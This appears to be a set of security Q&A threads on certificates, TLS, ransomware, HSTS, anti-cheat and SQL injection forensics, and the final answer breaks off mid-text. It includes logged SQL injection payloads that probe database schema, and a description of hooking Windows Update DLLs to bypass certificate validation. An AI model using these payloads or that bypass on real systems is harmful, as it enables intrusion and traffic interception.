What are the benefits and drawbacks of the HTML5 Keygen element? As of January 2013, what are the potential benefits and drawbacks of the HTML5 Keygen element?

Pros

It can improve security when authenticating (in addition to a multi-factor device)
If used as a "client certificate", it can make MITM attacks much more difficult
The Keygen tag is implemented across most non-IE browsers, making it very easy to implement
Works regardless of administrator permission.  With IE Active X controls can be disabled and IE and browser settings can make key generation impossible on tightly controlled systems.   In this situation the current Keygen in non-IE browsers is often the only error free method to generate and use Client certificates

Cons & Deficiencies

Certificates are not easily portable between systems  (to some, this is a "pro")
The private key is not stored in a standard location
The UI is confusing and difficult to understand
Requires the user to select the appropriate key length from a list. Most users are not equipped to make this decision.
Poor user experience when the user is prompted to download the certificate.  A better approach would have the key submission and certificate response integrated into the same control.  (possible solution also this on S.O. )
<keygen> does not provide a mechanism for managing certificate expiry
No standard key length or hash implemented across browsers
Algorithm support is missing (RSA, DSA, ECC, etc)
Keysize selection should come from the form, not user selectable.
The signature is based on MD5 (which can be mitigated by a time based challenge)
Non-Exportable keygen flag is missing
Hardware protected keygen flag is missing
Password protection required is missing
The certificate is limited to RSA based applications
The HTML form could be modified locally and key generation security reduced accordingly
If enrolling to a Microsoft Certificate Server, the only supported CertType is "server"
via DCOM API
The format used by  is not standard and only provides a subset of already established protocols like PKCS10 , CMC , and CRMF . This prevents  from supporting non-RSA based certificates, extensions for additional client information, and key escrow
Not supported in IE due to better support with CertEnroll and the issues described here


Why are many US Department of Defense certificates not trusted by Firefox? There are a number of US Department of Defense (DoD) websites that I need to access on a regular basis (e.g., https://ataaps.csd.disa.mil/ and https://web.mail.mil) that Firefox issues a Warning: Potential Security Risk Ahead with error code SEC_ERROR_UNKNOWN_ISSUER. Looking a little further, it says "Peer’s Certificate issuer is not recognized."

There seem to be some obvious reasons why the DoD would want to issue its own certificates (cf. Why would an organization like the DoD prefer to use its own Root Certificate(s)?) including that this way they are in charge of the security and not someone else and the cost is small since they need certificates for other things.

My question is from the opposite end and is NOT why does the DoD issue their own certificates, but rather why Firefox does not trust certificates for US government sites by default?

The more practical question is as adding exceptions for all sites whenever they are encountered without doing even a cursory glance seems like a bad practice, is there a way to globally add an additional CA (???) to make Firefox recognize the US DoD (or whoever is the problem) as a certificate issuer? Does this have drawbacks and open my machine up for additional attacks?

Certificates are a matter of trust. When you use the default certificate list from Firefox (resp. Chrome, resp ...), you trust the all the certificate issuers from that list to only issue certificates to legitimate sites (or persons) for legitimate purposes. Issuers should normally publish the policies that they use when delivering certificates, and the certificates references those policies through OIDs.

There is an important business behind certificates, and certificates issuers would prefere to avoid that governments start to use their own certificate authorities. Imagine a world where any citizen would have one personal certificate (or one for signature and authentication and one for encryption) on its national ID card or passport, and where all official sites would have a certificate issued by a governmental agency. Who would then buy certificates?

But there is another, maybe more fundamental reason. Since *Brave new world" from Aldous Huxley, or 1984 from George Orwell, we know that governments could try to bring us into privacy restricted paths. There is a political princip saying that anything and anyone should be controlled by someone else. Because of that, best practices recommend that a certificate issuer should be independant from the certificate user(*). Because this limits the risk for an organization (be it governmental or not) to issue and use hidden certificates just to be able to spy on encrypted channels. That's what some anti-malware software and corporate firewall do: they install a private certificate into the certificate lists of the system and well know browser to allow Man In The Middle attacks to be able to identify malwares in HTTPS channels. Well, the end user is more or less informed on it, and they certainly could not do the job they are payed for without it.

I know it, and trust my employer and the security team not to be too aggressive againt my own privacy, but I would not dare sending too private information that way.

Imagine know that all intelligence agencies from most countries could do the same and freely spy on any HTTPS channel, and ask yourself whether this is the world we want to live in. Read (again) 1984 if you hesitate...

I am not excessively confident that NSA and other main intelligence agencies cannot do that, but it is not a reason to blindly allow it, IMHO

(*) independance from a strong governmental agency can be relative... and independance between a company and its principal client is only theoric. That latter part largely contributes to the first one.


What is the best way to generate a password/pin like string using brute force method? I have a string of 7 characters. I'm supposed to generate all the combinations. But some combinations are more likely than others, I would like the more likely ones to be generated first.

If I iterate from AAAAAAA to ZZZZZZZ, it's very unlikely that AAAAAAA is a valid combination. But BZYEKSO would be more likely being a password (more weight).

What algorithm would allow me to iterate through all combinations and come up with a random key that most likely resembles a valid pin?

If the string was 4 characters, I can pre-generate all the combinations and then scramble it for a better effect. But when the string is 7 characters long (better yet make it include  numbers too). There's 36^7 combinations and there would not be enough memory to hold everything.

I'm thinking there's an encryption algorithm that can be used to randomly generate a string that is 7 characters long WITHOUT repeating. ie. I would iterate through the algorithm 36^7 times using 36^7 unique keys and it would give me a 36^7 random numbers that are of length 7 and doesn't repeat.

Is there anything for this that exist?

Thanks!

Regardless of whether this is a reasonable thing to do, it is possible to enumerate a large set with a random order without having to store them all in RAM. Basically, you need a permutation over your source set (the 7-character strings, of size 367) such that the permutation "looks randomish" and can be evaluated efficiently on each element. Such a permutation would be known as a block cipher.

Usual block ciphers use large binary blocks, i.e. work on the set of sequences of 64 or 128 bits, not on the set of sequences of 7 characters; however, other constructions are known which can bring decent security for such "small", non-binary blocks. This field of research is called format-preserving encryption. Rogaway's Thorp shuffle is one of the rather easy to implement proposals, and has decent efficiency.


Windows Update - Interception I'm trying to monitor the HTTP requests/responses made when performing a Windows Update.

I have a Windows 8 machine configured with a proxy in IE. I've also imported via netsh for winhttp:

netsh winhttp import proxy source=ie

The proxy is running on another machine on port 8080 and is configured to intercept SSL.

I have tried both with Burp proxy or with a normal Squid proxy (using ssl_bump). The root CA certificates are installed on the Windows 8 machine, in the Local Machine store, under Trusted Root CAs. If I browse from IE or Chrome I can access https sites without a warning (as the presented server certificate is signed by the proxy CA).

However, if I try to use Windows Update I get an error:

"There was a problem checking for updates"

This is a known issue, Bluecoat advise adding an exception for SSL interception for Windows Update:

https://kb.bluecoat.com/index?page=content&id=KB3959&actp=RSS

Microsoft make the same recommendation for TMG:

http://support.microsoft.com/kb/949104

So it seems like the Windows Update service doesn't just check the certificate in the usual way, it actually verifies against a different CA list, or specifically requires a certain server certificate from the Windows Update site.

The question is, how can I work around this, so that I can see the HTTP requests made by Windows Update?

This problem has challenged me for a while but did find a way through it.
Typically it manifests as Windows Update Error 80245006 or 803D000A

I wrote a tool called SuperPhishers DetermineSubCAIdentity.py in March 2015 that will allow you to bypass the windows internal check that the certificates are really truly from Microsoft.
The name is a play on the SuperFish Lenovo controversy at time.

The easy part is having your SSL proxy generate something modern:
like RSA>=2048 and SHA256RSA, etc. I used sslsplit and modified it to generate SHA256 digests. Windows requires SHA256 on its update and store certificates or it fails with 0x803D000

The hard part is bypassing Windows checks that the CA Cert is Microsoft:

Basically there are two functions that implement a checks that the CA cert is legit. They are both called DetermineSubCAIdentity in wuaueng.dll and storewuauth.dll
Using Nektra Deviare2, the function DetermineSubCAIdentity was hooked so that it always completed leaving EAX=3.
This allows the Microsoft check to pass and the update or store function continues as normal.

If you patch this function in both dll's it allows interception of Windows Store traffic.
Review your intercepted traffic or run through ICAP to rewrite fun.

I made a video here: https://www.youtube.com/watch?v=EyDaTkU2sKY

The code and technical write up is here: https://github.com/MiWCryptAnalytics/DetermineSubCAIdentity

Thomas Pornin is correct in that you need to modify dll's -- When I modified the dll's on disk, SFC did replace them with good ones.
However doing it in memory with Deviare2 injected into a SYSTEM process, Windows 8.1 didn't seem to care.

Hope this helps and it was enjoyable to see that Windows Update traffic in the clear for the first time.


Can you find the ransomware key if you already have decrypted files? Disclaimer: I have very very little experience with ransomware/encryption, so I'm sorry if I ask something stupid.

Ransomware attacks are all over the news, especially this year. And this got me wondering of a very typical situation in the real world:

User X has many files on his PC
He backs them up from time to time (he heard it's a good idea), but he's lazy and does it very rarely
He gets infected with ransomware and all 10,000 of his important files are encrypted (10,000 is just an example here)
However, the good news is that he backed up 1,000 of his files on an external hard-drive

So here's an idea for recovering the other 9,000 files: What if we have a software that compares the 1,000 encrypted files (from his infected computer) with the same 1,000 original files (from the backup) and tries to deduce the encryption key that way?

1,000 files should give you enough data to allow millions of comparison points and space for pattern searching, such that this becomes much much faster/efficient than a typical brute-force approach (e.g. 6 hours of compute-time instead of a typical 10 thousand years).

Once we find the encryption key (from the 1,000 to 1,000 comparisons), we can use it to decrypt the other 9,000 files and we don't have to pay the ransom.

So my questions are:

Is something like this feasible/possible? Would it work? From what I've seen/heard (I was never infected with ransomware myself), the ransom message you get usually tells you what encryption method was used, how large the key is etc.
Is this something that can work only with certain encryption algorithms and not with others?

If I were to guess, I'd say that the answer is NO for 2 reasons:

if it were possible, someone much smarter than me would've thought about it and done it already
finding such patterns and doing the comparisons implies being aware of weaknesses in the encryption system, which in turn implies a vulnerable encryption system. This means it will NOT be used in such attacks in the first place.

What are your thoughts on all this? (please remember the disclaimer at the top)

Yeah, you've pretty well answered your own question, but here's some more context.

It turns out that what you've come up with has a name, from wikipedia:

  The known-plaintext attack (KPA) is an attack model for cryptanalysis where the attacker has access to both the plaintext (called a crib), and its encrypted version (ciphertext). These can be used to reveal further secret information such as secret keys and code books.

This is a fundamental security property that all modern ciphers need to be resistant to. Failing to be secure against known plaintext attacks would certainly count as a serious vulnerability, and the cipher would probably be considered "broken". Typically chaining block ciphers with unique Initialization Vectors (IVs) per file are used to frustrate attempts to find correlations between different plaintext-ciphertext pairs.


What is the easiest way to search massive, leaked databases for persons and personal information? This may seem like a rather nefarious question, however, my motivations are quite the opposite-- I want to know how at risk I might be!

A while ago a very MASSIVE database was leaked that contained the personal information of millions of people.  Unfortunately, I'd peg my chances of being in that database at about 80-90%.  This means that floating around on the dark web, their could be enough information for a kid to open a credit card in my name and wreak havoc on my life.

The institution that this information has leaked from had to give all possibly affected individuals free credit monitoring for 1 year.  After that, the millions of us who were vulnerable are left to monitor ourselves and "hope" for the best.

I don't trust blind hope.

I imagine that when this data was leaked, it was seeded to all of the "typical" dark web sources.  With that said, what is the best way for a non-hacker, developer or tech-savvy "power user" to search and discover leaked data so that they can verify whether they are vulnerable from a specific leak?

Yes, I could be lying and looking for a quick way to find 100 SSNs.  However, I don't think that's a good excuse to hide this information and not be given a straight answer.  If the information is out there, it's out there and there's nothing we can do to stop the spread of the information.  However, I can do my personal best to be informed as much as possible on the state of my credit risk and current vulnerability. That is all I am hoping to achieve.

Here is what I do...

I assume my data is out there... I don't bother looking for it. Somebody will run across my SSN eventually and it will get scraped up into a database and sold around the world.

As far as I'm concerned, searching for my data has little value and certainly won't put the horse back into the barn.  In fact, even searching for my SSN or credit card numbers could expose them.

I live in the US and have placed a credit freeze on our 6 credit reports (3 for me and 3 for my wife). This is done at the websites of the big 3 credit bureaus.

When I need a new line of credit (loan, card, etc), I temporarily thaw the reports and they automatically re-freeze after a week or so (Just did this in order to refinance my home).  This freezing and thawing process takes about 15 minutes online and has never cost me a cent.

http://www.clarkhoward.com/news/clark-howard/personal-finance-credit/credit-freeze-and-thaw-guide/nFbL/


certain websites not secure now, two days ago they were i have attempted to go to a website that always showed trusted secured site, now i get warning. telling me not to use, because others can see my personal information. it only happens on accounts I have established

If a browser tells you the site can't be accessed in a secure way anymore, and you aren't completely sure you know the exact reason, then don't do it.

Most likely, it's just an error in the Web site configuration (e.g. a secure certificate has expired and a careless site admin just forgot to renew it) and it will be fixed soon (probably in no more than 1-2 business hours) so just make yourself a cup of coffee and wait for the site to go up.

Less likely but much more dangerous, a man-in-the-middle sort of a malicious person is trying to steal your data or impersonate you on the respective Web site.

In both cases, it might be a good idea to call the Web site support if there's any and you somehow know its phone number.

Somewhat likely, it's just a captive portal. Try to open http://example.com/, is there maybe a WiFi login page displayed? If so, log in and try to refresh the page.

Check also that your timezone and clock are correct.


What SQL injection tool generates queries in my access_log? A website of my client was compromised by a person claiming he/she has now access to the database. From the fact that this person sent an email saying "contact me and I will tell you where the hole is" I can only hope the access is limited to read-only.

I inspected access logs and found a script & unescaped GET request variable allowing to pass malicious probes

The attack started pretty usually:

xxx.xxx.xx.xxx - - [24/Jun/2017:17:29:02 -0600] "GET /x.x?x=2 HTTP/1.1" 200 13785 "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)"
xxx.xxx.xx.xxx - - [24/Jun/2017:17:29:02 -0600] "GET /x.x?x=2'A=0 HTTP/1.1" 200 181 "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)"
xxx.xxx.xx.xxx - - [24/Jun/2017:17:29:03 -0600] "GET /x.x?region='0=A HTTP/1.1" 200 181 "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)"

Then it follows by queries like those

xxx.xxx.xx.xxx - - [24/Jun/2017:17:29:03 -0600] "GET /x.php?x=(%2f**%2fsElEcT+1+%2f**%2ffRoM(%2f**%2fsElEcT+count(*),%2f**%2fcOnCaT((%2f**%2fsElEcT(%2f**%2fsElEcT+%2f**%2fcOnCaT(0x217e21,%2f**%2fvErSiOn(),0x217e21))+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2flImIt+0,1),floor(rand(0)*2))x+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2fgRoUp%2f**%2fbY+x)a) HTTP/1.1" 200 55 "http://x/x.php?x=(%2f**%2fsElEcT+1+%2f**%2ffRoM(%2f**%2fsElEcT+count(*),%2f**%2fcOnCaT((%2f**%2fsElEcT(%2f**%2fsElEcT+%2f**%2fcOnCaT(0x217e21,%2f**%2fvErSiOn(),0x217e21))+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2flImIt+0,1),floor(rand(0)*2))x+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2fgRoUp%2f**%2fbY+x)a)" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)"

From what I can see the person got pretty good idea of how the database and its content looks like.

I would like to know what tool is being used to generate these probes after an unprotected input is found so I can run it myself to discover full scope of what the attacker could have gained access to.

We're talking about a PHP/MySQL legacy app without reliable input sanitisation here, so I guess the best way to see what's wrong is to run some security scanner myself.

How can I resolve it?

Solution

The tool I required to scan that website for more issues & to try to exploit them && fix them was sqlmap. I hope it helps somebody in the future.

It doesn't matter which tool was used.

Even if you knew which tool was used, it doesn't mean that the tool would necessarily be able to exploit all that can be exploited.

If your app is vulnerable to SQL injection, then in all likelihood no tool at all is needed by even a moderately-skilled attacker to do anything that can be done with the database credentials the web server is using to access the database.

You have an application with a known vulnerability to SQL injection.  It should be taken offline until fixed.  You already have logs pointing you to the mechanisms the tool appears to have successfully exploited, so you already know where at least one vulnerability is -- in x.php or one of its dependencies.  You should also be able to simply replay the logged requests with curl.


A demonstration of the most basic form of a data breach or similar attack I am currently working on my bachelor thesis regarding cloud security and found this neat article describing the "Notorious nine" written by the CSA:
The notoruios nine

I am looking to try out some form of the most basic attack possible on a fairly insecure database that I my self am creating, both to have something do demonstrate, and to understand the issue better.

So my question is, are there any articles or videos similar to a tutorial for this? Maybe encrypting and decrypting information, or just how to access a websites database (In my case I just store user information, one site+db that stores encrypted, and one site+db that stores normal)

If you think this is too complicated for a beginner, then do you have any other suggestion of a small demonstration of attack/defense I could try that would be more beginner-friendly. Only requirement is that it effects a cloud-service in some way or form.

Let's put buzzwords to the side for a moment shall we? Anything you need to connect with, on a networked level, is "clouded." A cloud is nothing more than a non-local networked business. These businesses house servers that YOU normally would. With that out the way, any attack you can do locally, would be similar. I don't believe you're going to find a publicly accessible network that'll allow you to "hack" per-se for the sake of your paper. You may find some CTF based sites, and distros, and or group based/game-like sites. With that out of the way, register an account on EnigmaGroup and try one of their SQL challenges or something


Nodejs-express: file upload vulnerability with txt files? On nodejs-express, I need a file upload function for my website's bulletin board so that every user can upload and download files for each other.
For security reasons,
I use npm module 'mmmagic' for validating if uploaded file's mime-type is not modulated (e.g. png) -or is in whitelist which I accepted.
And I'm considering using 'helmet' module for enhanced security with noSniff().
My question is, does .txt files can execute or inject malicious code by attackers, and do something they want?
I saw my messenger app accept files that is javascript (.js) file, and others when the file's extension is covered with .txt at the end.
Like: sample.js.txt
I can't decide whether I should restrict files even their extension is covered with txt or not.
Thanks in advance.

A file by itself is not malicious, it is just data. It depends on how it gets used. If a text file gets somehow interpreted in an unexpected context, for example as shell commands, then it can cause harm too. Similar some seemingly malicious code binary does not cause any harm as long as it does not gets executed or loaded as library.
In other words: one need to how the file will be used later before you can decide what filtering and restrictions you need to apply. Your question offers no information in this regard and thus it cannot be answered if text file can be malicious or not.


Is this HSTS header set correctly in LAMP? I have a LAMP server and my SSL certificate provider recommended me to set HSTS header as follows in Apache2:

Header always set Strict-Transport-Security "max-age=63072000; includeSubdomains; preload" env=HTTPS

Questions:

What does preload do?
What does env=HTTPS do?

1. What does preload do?

The preload flag indicates consent for the domain to be allowed onto the HSTS preload list (used by Chrome, Firefox, IE 11, Edge, and other browsers).

  The Chrome security team allows any domain to submit their domain to the list, provided it meets the following requirements:

  HTTPS is enabled on the root domain (e.g. https://donotcall.gov), and all subdomains (e.g. https://www.donotcall.gov) – especially the www subdomain, if a DNS record for it exists.
  The HSTS policy includes all subdomains, with a long max-age, and a preload flag to indicate that the domain owner consents to preloading.
  The website redirects from HTTP to HTTPS, at least on the root domain.

Source: https://https.cio.gov/hsts/#hsts-preloading

You can see more information on the HSTS Preload Submission page.

2. What does env=HTTPS do?

This is an argument of the Apache Header directive (part of the mod_headers module):

  env=[!]varname

  The directive is applied if and only if the environment variable varname exists. A ! in front of varname reverses the test, so the directive applies only if varname is unset.

In this case, the HTTP header is only sent when the HTTPS environment variable is set. This environment variable is only set when pages/resources are accessed via HTTPS. The reasoning behind this is in section 7.2 of the HSTS specification:

  An HSTS Host MUST NOT include the STS header field in HTTP responses conveyed over non-secure transport.

As to why, see this question.


Detecting or preventing process memory injections on Windows (anti-hack) Standard hacking case. Hack injects into a started game process and writes over process memory using WriteProcessMemory call.

The situation is like this:

we are hosting a game server
clients join the server with their games, they can corrupt their games using various hacks
we have no chance to change game source, it is as is. However we do have a possibility to enforce our program to be run before client can join the server.

So to put this clear: we can't obfuscate game memory but we do have a possibility to run a separate program at the same time. I already tried to use a call EnumProcessModules which lists all process DLLs with no success. It seems to me that the hacks inject directly into process memory, therefore it is undetected. After doing a lot of "Google research" I came down to a few options:

scan for running process names, files in game directory, byte patterns of files, byte patterns of running processes... this task is very time consuming since I'd have to get samples of all available hacks and update our program every time new one comes out. All hack information needs to be stored inside the source which can make the program very big.
Using ReadProcessMemory to monitor the changes in well known memory offsets (hacks usually use the same offsets to achieve something). I would need to run a few hacks, monitor the behavior and get samples of hack behavior when comparing to normal run. The program would basically do the same thing hacks do but in reverse.
detect WriteProcessMemory call inside memory. I am not sure if this would bring some false positives from legit DLLs but idea seems interesting. How would I scan the process memory for this call? How to get the byte value of it?

This is an example of a hack call:

WriteProcessMemory(phandler,0xsomeoffset,&datatowrite,...);

The offset is actually fixed at least in low-level hacks. If we could somehow rearrange the stack or push it down somehow it could already mess up the hack to crash the game.

A few more facts:

new hacks are rarely published and there is a fixed number of those that are publicly available and actually work. Most of them also work in a similar way.
goal is to either detect the hack or confuse it from working

My question here is, what would be some good ways to achieve my goals here? Any idea that would confuse the hack or help to detect hack being injected or memory being changed is welcome.

I know there is NO WAY to have a 100% secure anti-hack system but if we catch only those who use publicly available hacks it is already 95% of hackers, we do not care about the minority of smart hackers.

Ooooohh I love questions like this.

Right, first up:

  we are hosting a game server

Bam, there you go. If the client must send the state update back to the game server before this is pushed out to other clients, you have a chance to analyze the game state for changes. This means you can detect anomalous patterns. So for example, if you suddenly see a massive change of value in gold, you can then shut that user out of the game.

There's many statistical approaches you can take. Aside from the obvious "huge change" or "impossible action" you can apply more long term solutions - such as gold over time. Assuming I know about the "don't add massive amounts of gold to my character" trick I might increment gold in safe amounts over time. Great, if I always push the edge. However, that constant increase won't correlate with the equivalent gold earned in genuine consistent gameplay, so... again, detect and shut the account down.

The key here is that these are things you can do on the server side that the end user can do nothing about, even if they've manipulated the game state.

Now, onto your Win32 side questions. First up, I don't think WriteProcessMemory is a particularly valid call for any DLL to make, with the exception of debuggers (which will replace instructions in code - this is how breakpoints set by debuggers work), however, there's no way you can reliably replace this for every call on the system without writing what is effectively a rootkit - i.e. you'd affect everyone, not just yourself. So this isn't really an option.

One thing you could do - and it's no mean feat - is to periodically check your own executable memory for modification. For more, see Tamper Aware/Self Healing Code on codeproject. Basically, periodically invoke this and crash the game if you detect any modifications.

You might also consider code signing - it's not ridiculously expensive, and it does provide a built into windows way of preventing offline executable modifications.

If you store saved state locally, you might consider saving checksums and sending these to your server accounts. No, this is not bulletproof, but it adds extra complexity.

If you're going to implement any of these features, you're going to need to raise the barrier a bit and make it hard for the cracker to disable, skip or otherwise work around your protection mechanisms. Let's be clear - if someone is determined enough, you're done for, but you can at least make their lives very painful.

The top articule for anti reverse engineering on my reading list is also from code project. The guide is very thorough and should give you an excellent grounding in exactly what you can do to confuse and otherwise upset debuggers. I'll walk through one of them, which I think is fantastic:

 SetUnhandledExceptionFilter(UnhandledExcepFilter);
 __asm{xor eax, eax}
 __asm{div eax}

This is evil. Basically, as the article explains, the UnhandledExceptionHandler is called on a non-debug process as the handler of last resort; however, in this case we deliberately clear eax, then divide by zero. That'll cause a processor fault, which the OS then sends back to the executable's exception handler - only if there's a debugger attached. If there is a debugger attached, the debugger gets notified and the executable exits.

Of course, it is fairly easy for an attacker to replace div eax with one or more nop instructions or something, which means execution will just slide over, but a little self verification picks that up easily enough.

So, in conclusion then:

My first advice would be to try to detect cheats on the server side. Here, you hold all the keys. You could even introduce these changes "dark", that is, check and see who is cheating, then analyse their states to see if it works, without cutting them off.
Then, I'd attempt periodic self verification in several forms:

In memory, as much as is reliable, of the executable.
In memory, as much as is reliable, of critical data structures.
The executable on disk, too.

Finally, I'd read that reverse engineering guide top to bottom - and see what you can apply to your executable. I realise you said you can't modify your executable, but honestly unless you do so, you're likely to be up against it. After all, a second "watcher process" can just be killed by an attacker.


How to determine level of security required for this kind of site? Here are the main areas of the site that could become a security concern:

The site works as a general ledger system against the company and its users.
The ledger system is to keep track of small deposits ($0.10 up to $10.00). Some users have amassed decent sized accounts (upwards of $100's of dollars) but the vast majority have little or nothing in their accounts.
The site allows users to withdraw money from their account (with the site) to their Paypal account.

They can also send money into their student card (if they happen to be a student).

Now, as far as I know, PCI only covers credit & debit cards, not student cards.

What security laws would need to be considered in this situation?

There are no specific laws or regulations that apply to this application.  That being said,  if a vulnerability in your software allows an attacker to take money from another user,  or leak personal information then you can be sued for negligence.   In the U.S. you cannot revoke your customer's rights to sue you for negligence using a Terms of Service agreement.


How likely/possible is it that the NSA have broken common encryption techniques such as SSL/TLS? Jumping on the NSA/Prism questions bandwagon - There's been a lot more attention drawn to facilities such as Room 641A which indicate that the NSA has been, amongst other things, applying mass intercepts to communications through large US ISPs.

One thing that strikes me as odd in these techniques is that although they could collect a large amount of unencrypted data, large sites such as Google, Facebook, Twitter and many others typically redirect to HTTPS sites by default. This begs the question - how useful can the unencrypted data be, and do intelligence agencies have a way to decrypt the rest of it?

I know as little about this program as the next guy, but a lot of the descriptions of this program indicate that various intelligence agencies use demands such as National Security Letters to request information, or make demands such as that on Verizon to have metadata sent back on a recurring basis. If that's the case, what purpose could monitoring/recording internet traffic serve?

It's my understanding that, without having broken SSL/TLS the only way to decrypt encrypted traffic would be through having access to either a root certificate, forging a certificate for the domain you want to monitor and running a MITM attack, or through having access to the private key of the domain you want to monitor.

On the other hand, the NSA are much further ahead in crypto research than any public body, so there could be a possibility they've found a weakness? (Or simply have the compute power to break it through brute force)

Edit 2013-09-06: The Guardian has today published a story that something alarmingly similar to my question is taking place. Article here

There isn't really a reliable way to know for sure.  What we do know from public knowledge is that algorithms exist that allow for fairly efficient breaking of relative prime based algorithms.  We also know that there are now functioning quantum computers though none with sufficient quality or processing power to run the algorithms.

What we can't know is if more powerful quantum computers exist that could crack them.  Either way, even if such computers do exist, it would be expensive and they would only be able to crack a limited number of cases, so your chances of having your information picked up if protected are most likely minor.

It's also worth noting this is only applicable if you are using your own keys.  If you are talking with a US based company, they could simply go to that company to get the information, no cracking of the encryption keys would be necessary.

If you are using your own key and not doing anything nefarious, it is most likely that the NSA wouldn't use the resources necessary to crack your encryption due to its expense.  This of course rules out any very well hidden back doors that "might" exist, but seeing as no cryptographers have publicized such a problem, it is unlikely (though I suppose not impossible) that such a hole exists.

Update: While links are generally discouraged, since someone asked for them specifically.  The DWave Two is a commercially available (though unable to run Shor's algorithm and may not be truly quantum), functioning quantum computer, though not at sufficient qbits or noise levels to be an issue yet. (But who knows what might be not publicly available based on the state of the art.)  Shor's Algorithm is a well known quantum algorithm for factoring large primes.  This greatly decreases the effectiveness of any relative prime derived asymmetric cryptography algorithm (which most common ones are based on.)  Also Grover's Algorithm should greatly reduce the complexity of cracking symmetric cryptographic algorithms, though a simple increase in bit length will compensate.


How to manage customer-supplied encryption keys in a multi-tenant cloud SaaS? I'm working at an EU-based company and we'd like to offer business customers some kind of OS-independent cloud-based SaaS platform for processing and storing sensitive (health) data. We'd like to implement our software on the Google Cloud Platform.

All sensitive data should be encrypted with symmetric keys that are provided by the customer and are not stored on the cloud platform. (We trust google but the patriot act is a problem.)

However, the client interface should preferably run as web app within the browser. This makes client-side encryption complicated.
Also, many employees should have access to the encrypted data within the business customer's domain. Therefore, the encryption key must somehow be shared between employees.

One idea is to generate the encryption key out of a shared passphrase (using PBKDF2), to store it within a session cookie (lifetime=0) and to transfer it to the cloud server for each request accessing sensitive data. The server performs the requested operation and then deletes the key out of its memory.

Of course, there might always be ways to extract the key if we or Google would want to do this, but we can assure that the data are stored encrypted with a user-supplied key only managed by the customer.

I wonder if anyone has better ideas. Thank you very much in advance.

It is impossible to guarantee security in the cloud from the cloud provider itself, the cloud provider can (be forced to) take a memory dump of any running VM instance and extract any encryption key from a running instance. It is even possible to continuously and automatically monitor a running VM and extract AES keys as soon as they are used, especially when the VM is using AES-NI.

A truly secure solution would avoid decrypting, let alone using, the keys on the server.
So do the encryption client-side and use the server purely as blob storage.

Fortunately you can do quite a bit of crypto in the browser these days, that includes KDF and AES.
For KDF you can use e.g. scrypt-js, and for AES aes-js or aes-es.


Role of the chosen ciphersuite in an SSL/TLS connection When it comes to a secure TLS configuration (e.g. for HTTPS), the topic is prominently about the supported cipher suites.

I want to fully understand which part of the cipher suite has which role in a SSL/TLS connection.

So from what I understand it generally works like this:

Client connects to the server
Client tells server about their supported protocol (e.g. TLS 1.2) AND the cipher suite (e.g. ECDHE-RSA-AES128-GCM-SHA256)
Server answers and agrees on a protocol and cipher suite they both support (e.g. TLS 1.2 & ECDHE-RSA-AES128-GCM-SHA256), as well as the servers certificate (also containing their public key)

--- now from here on they communicate based on the chosen protocol and the role of the cipher suite becomes important ---

The client verifies the server's certificate against known certificate authorities and extracts the server's public key for the key exchange
Now the cipher suite's key exchange kicks in (in this case ECDHE-RSA), which uses the server's public key - the result is the pre-master secret (as depicted in the diagram below)
With the pre-master secret, both the cipher and the hashing algorithm are then used (in this case AES128-GCM and SHA256) for the message encryption and digests.
The key exchange is repeated, encrypted with the cipher, using the pre-shared secret and verified with the hashing algorithm. The result is the master secret
The master secret is used with the cipher and hashing algorithm, to encrypt any further communication.

(Diagram from: https://blogs.msdn.microsoft.com/kaushal/2013/08/02/ssl-handshake-and-https-bindings-on-iis/)

Is my understanding of the ciphersuite's role in a TLS communication correct - or am I wrong on some details?

So from what I understand it generally works like this:

Client connects to the server

For HTTPS yes. For other applications it varies; some make a new connection and some reuse an existing connection.

Client tells server about their supported protocol (e.g. TLS 1.2) AND the cipher suite (e.g. ECDHE-RSA-AES128-GCM-SHA256)

Ciphersuites plural, and quite a few other things in extensions, both shown in the article you link. (Which highlights SNI as relevant to the IIS/http.sys logic being described.)

Server answers and agrees on a protocol and cipher suite they both support (e.g. TLS 1.2 & ECDHE-RSA-AES128-GCM-SHA256), as well as the servers certificate (also containing their public key)

The certificate contains the static (long-term) public key, and as ISMSDEV said is accompanied by any intermediate aka chain certs, and optionally the root cert. The article doesn't clearly state, but does show in the network trace, that the certificate(s) are actually a separate message but possibly in the same SSL/TLS record and almost always in the same TCP frames. For ephemeral keyexchange, as in the ciphersuite you specified but not the one in the article, the server's ephemeral key (with parameter(s) and signature much as ISMSDEV said) is in a separate message ServerKeyExchange; then optionally another message to 'Request' a client certificate, again not clearly stated and this time not shown; then a ServerHelloDone message, not described at all but shown.

--- now from here on they communicate based on the chosen protocol and the role of the cipher suite becomes important ---

The protocol version/format and key-exchange have already affected the server messages above. The symmetric cipher and possibly hash don't have effect yet.

The client verifies the server's certificate against known certificate authorities and extracts the server's public key for the key exchange

Verifies the certificate chain, extracts the longterm (certified) key and also extracts and verifies the ephemeral key if used, which it is in the ciphersuite you specified.

Now the cipher suite's key exchange kicks in (in this case ECDHE-RSA), which uses the server's public key - the result is the pre-master secret (as depicted in the diagram below)

Key-exchange has already started, with the server messages above; it is now completed using the client's key. The diagram you copy shows an arrow from client to server with (encrypted) pre-master secret because it is for a ciphersuite using RSA key-exchange, but you specified a ciphersuite using ECDHE-RSA key-exchange and for that the client's ephemeral publickey is sent (in clear) instead and the ECDH algorithm is used, independently at both peers, to derive the pre-master secret.
In addition if client certificate (aka client authentication) was requested, the client may send its own cert chain and its signature on a transcript through the client's key exchange message, (both) as separate messages, as described in the article but not shown.

With the pre-master secret, both the cipher and the hashing algorithm are then used (in this case AES128-GCM and SHA256) for the message encryption and digests.

Not yet.

The key exchange is repeated, encrypted with the cipher, using the pre-shared secret and verified with the hashing algorithm. The result is the master secret

